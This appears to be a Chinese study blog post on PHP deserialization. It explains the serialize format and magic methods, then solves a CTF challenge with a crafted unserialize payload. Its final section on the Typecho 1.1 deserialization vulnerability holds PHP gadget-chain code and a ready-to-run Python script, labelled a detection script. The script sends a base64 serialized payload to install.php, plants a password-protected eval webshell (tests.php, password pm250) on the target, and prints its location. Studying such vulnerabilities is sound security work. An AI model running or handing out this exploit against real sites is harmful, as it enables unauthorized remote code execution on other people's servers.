什麼是序列化和反序列化?
<?php
/********
* 序列化的作用:用於將對象進行轉儲
*可以將對象轉換成字符串,但是僅保留對象裏的成員變量,不保留函數方法
* 序列化函數:serialize 反序列化函數:unserialize
*/
class Serialize{
public $a="Astring";
protected $b=array("b"=>"String");
private $c="Cstring";
public function index(){
return "this is a test";
}
}
$serialize=new Serialize();
var_dump(serialize($serialize));
/**序列化返回結果
* string 'O:9:"Serialize":3:{s:1:"a";s:7:"Astring";s:4:"�*�b";s:7:"Bstring";s:12:"�Serialize�c";s:7:"Cstring";}' (length=101)
* 其中:O代表對象,:9代表對象名稱有9各字符,:"serialize"表示對象名稱,:3表示對象中有三個成員。
* 接着括號裏面的,因爲三個變量屬性不同,因此結果也不同。
* 第一個成員:s:1:"a";s:7:"Astring";
* 變量有變量名和變量值兩部分,因此序列化過程需要將兩個變量都進行轉換。
* 關鍵注意第二個和第三個變量,因爲這兩個變量屬於保護和私有變量,爲了進行區別添加一些修飾符號:
* 其中protected屬性添加 %00*%00
* private 添加 %00類名%00
* %00表示null
*/
/**反序列化返回結果
* object(Serialize)[2]
* public 'a' => string 'Astring' (length=7)
* protected 'b' => string 'Bstring' (length=7)
* private 'c' => string 'Cstring' (length=7)
* 類成員被還原,由於方法沒有保存,因此無法還原
*/
var_dump(unserialize(serialize($serialize)));
關於PHP類的幾個魔術方法:
<?php
/****
* 關於序列化與反序列化的魔術方法
*__construct:當一個對象創建時被調用
*__destruct:當一個對象銷燬時被調用
*__toString:當一個對象被當作一個字符串使用
*__sleep:在對象被序列化之前運行
*__wakeup:在對象被反序列化之後調用
*/
class Magic{
public function __construct()
{
echo "construct run<br>";
}
public function __destruct()
{
echo "destruct run<br>";
// TODO: Implement __destruct() method.
}
public function __toString()
{
echo "toString run<br>";
return "return toString run<br>";
// TODO: Implement __toString() method.
}
public function __sleep()
{
echo "sleep run<br>";
return array();
// TODO: Implement __sleep() method.
}
public function __wakeup()
{
echo "wakeup run<br>";
// TODO: Implement __wakeup() method.
}
}
/**/
echo "創建一個對象,__construct構造方法被執行<br>";
$magic=new Magic();
/**/
echo "<hr>序列化一個對象,先執行__sleep方法<br>";
$sMagic=serialize($magic);
/**/
echo "<hr>反序列化一個對象,先反序列化,再執行__wakeup<br>";
$unMagic=unserialize($sMagic);
/**/
echo "<hr>把magic對象當作字符串使用,執行__toString方法<br>";
$string="just a test ".$magic;
echo $string;
/**/
echo "<hr>程序運行結束,自動銷燬,執行__destruct方法<br>";
/***運行結果
*
創建一個對象,__construct構造方法被執行
construct run
===================================================================
序列化一個對象,先執行__sleep方法
sleep run
===================================================================
反序列化一個對象,先反序列化,再執行__wakeup
wakeup run
===================================================================
把magic對象當作字符串使用,執行__toString方法
toString run
just a test return toString run
===================================================================
程序運行結束,自動銷燬,執行__destruct方法
destruct run
destruct run
*
* 通過上面的栗子可以知道這幾個魔術方法的運行順序與調用方式1
*/
常見一些魔術方法:
__wakeup() //使用unserialize時觸發
__sleep() //使用serialize時觸發
__destruct() //對象被銷燬時觸發
__call() //在對象上下文中調用不可訪問的方法時觸發
__callStatic() //在靜態上下文中調用不可訪問的方法時觸發
__get() //用於從不可訪問的屬性讀取數據
__set() //用於將數據寫入不可訪問的屬性
__isset() //在不可訪問的屬性上調用isset()或empty()觸發
__unset() //在不可訪問的屬性上使用unset()時觸發
__toString() //把類當作字符串使用時觸發
__invoke() //當腳本嘗試將對象調用爲函數時觸發
一道CTF題初探反序列化:
<?php
//error_reporting(0);
class demo{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v));
}
}
function waf($str){
$str=preg_replace("/[<>*;|?\n ]/","",$str);
$str=str_replace('flag','',$str);
return $str;
}
function echos($host){
echo $host;
system($host);
}
function __destruct(){
if (in_array($this->method, array("echos"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
}
$first='hi';
$var='var';
$bbb='bbb';
$ccc='ccc';
$i=1;
foreach($_GET as $key => $value) {
if($i===1) {
$i++;
$$key = $value;
}
else{
break;
}
}
if($first==="doller")
{
@parse_str($_GET['a']);
if($var==="give")
{
if($bbb==="me")
{
if($ccc==="flag")
{
echo "<br>welcome!<br>";
$come=@$_POST['come'];
echo $come;
unserialize($come);
}
}
else {
echo "<br>think about it<br>";
}
}
else
{
echo "NO";
}
}
else
{
echo "Can you hack me?<br>";
}
/**
* 解題思路:首先通過變量覆蓋觸發58行的unserialize函數
* 然後通過反序列化創建一個demo類的對象,然後通過__wakeup方法進行變量賦值,最後通過__destruct函數回調echos函數
*/
?>
關於payload有一點要說明:private類型的成員反序列化之後會添加區別符號,所以payload的原始亞子是這個:
come=O:4:"demo":2:{s:12:"%00demo%00method";s:5:"echos";s:10:"%00demo%00args";a:1:{i:0;s:4:"&dir";}}
%00的作用上面有具體解釋。
typecho1.1反序列化漏洞學習:
參考博客:
https://www.freebuf.com/vuls/152058.html
https://p0sec.net/index.php/archives/114/
學會了啥:對象裏面嵌套對象,就可以反覆創建對象,執行魔術方法。
執行payload過程中會出現數據庫配置錯誤的提示,但實際代碼已經執行成功,換成文件寫入的代碼:
class Typecho_Request{
private $_filter=array("assert");
private $_params=array("screenName"=>"file_put_contents('p0.php','123123')");
}
class Typecho_Feed{
private $_type="ATOM 1.0";
private $_charset="UTF-8";
private $_lang="zh";
private $_items=array();
public function __construct()
{
$this->_items[]=array(
"author"=>new Typecho_Request,
"title"=>"11",
"link"=>"22",
"date"=>"33"
);
}
}
$exp=array("adapter"=>new Typecho_Feed(),"prefix"=>"typecho_");
echo base64_encode(serialize($exp));
檢測腳本:
# -*-coding:utf-8 -*-
"""
typecho 1.1反序列化漏洞利用腳本
"""
import requests
from optparse import OptionParser #生成幫助文檔
from urllib import parse
#漏洞點檢測,是否存在install.php
def is_install(pathUrl,headers):
installPath="/install.php"
finalPath=pathUrl+installPath
response=requests.get(url=finalPath,headers=headers)
if response.status_code == 200:
return True
else:
return False
#設置payload
def setPayload():
payload="YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NDp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyM" \
"joiAFR5cGVjaG9fRmVlZABfY2hhcnNldCI7czo1OiJVVEYtOCI7czoxOToiAFR5cGVjaG9fRmVlZABfbGFuZyI7czoyOiJ6aCI7czoyMDoiAFR5cGVja" \
"G9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6NDp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxd" \
"WVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6ImFzc2VydCI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OY" \
"W1lIjtzOjEyNjoiZmlsZV9wdXRfY29udGVudHMoYmFzZTY0X2RlY29kZShkR1Z6ZEhNdWNHaHcpLGJhc2U2NF9kZWNvZGUoUEQ5d2FIQWdaV05vYnlBaW" \
"FuVnpkQ0JoSUhSbGMzUWlPMEJsZG1Gc0tDUmZVRTlUVkZzbmNHMHlOVEFuWFNrNykpIjt9fXM6NToidGl0bGUiO3M6MjoiMTEiO3M6NDoibGluayI7cz" \
"oyOiIyMiI7czo0OiJkYXRlIjtzOjI6IjMzIjt9fX1zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ=="
payloads=""" payload源代碼
<?php
class Typecho_Request{
private $_filter=array("assert");
private $_params=array("screenName"=>"file_put_contents(base64_decode(dGVzdHMucGhw),base64_decode(PD9waHAgZWNobyAianVzdCBhIHRlc3QiO0BldmFsKCRfUE9TVFsncG0yNTAnXSk7))");
}
class Typecho_Feed{
private $_type="ATOM 1.0";
private $_charset="UTF-8";
private $_lang="zh";
private $_items=array();
public function __construct()
{
$this->_items[]=array(
"author"=>new Typecho_Request,
"title"=>"11",
"link"=>"22",
"date"=>"33"
);
}
}
$exp=array("adapter"=>new Typecho_Feed(),"prefix"=>"typecho_");
echo base64_encode(serialize($exp));
?>
"""
return payload
def run(pathUrl,headers,payload):
finalUrl=pathUrl+"/install.php?finish=a"
data={
"__typecho_config":payload
}
headers['Cookie']=headers['Cookie']+"; __typecho_config="+payload
response=requests.post(url=finalUrl,headers=headers,data=data)
#檢測是否寫入成功:
finalUrl=pathUrl+"/tests.php"
response=requests.get(url=finalUrl,headers=headers)
if response.status_code==200:
return True
else:
return False
def main(pathUrl):
# url解析url,獲取host和referer
urls = parse.urlparse(pathUrl)
hosts = urls.netloc
referer=pathUrl+"/install.php"
##定義header頭
headers = {
"Host": "127.0.0.1",
"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Accept-Language": "zh-CN,zh;q=0.9",
"Cookie": "PHPSESSID=me0vqml8ioaejov4pti5iajfl2",
}
headers["Host"] = hosts
headers['referer']=referer
if is_install(pathUrl=pathUrl, headers=headers):
print("存在install.php文件,嘗試寫入shell文件")
payload=setPayload()
if run(pathUrl=pathUrl,headers=headers,payload=payload):
print("寫入成功,路徑:{path},密碼:{password}".format(path=pathUrl+"/tests.php",password="pm250"))
else:
print("自動檢測shell失敗,可以手動寫入或重新嘗試getshell")
else:
print("不存在install.php文件,無法利用")
exit()
if __name__ == '__main__':
parser=OptionParser()
parser.add_option("-u","--url",dest="pathUrl",help="請輸入typecho系統路徑")
(options,args)=parser.parse_args()
pathUrl=options.pathUrl
main(pathUrl)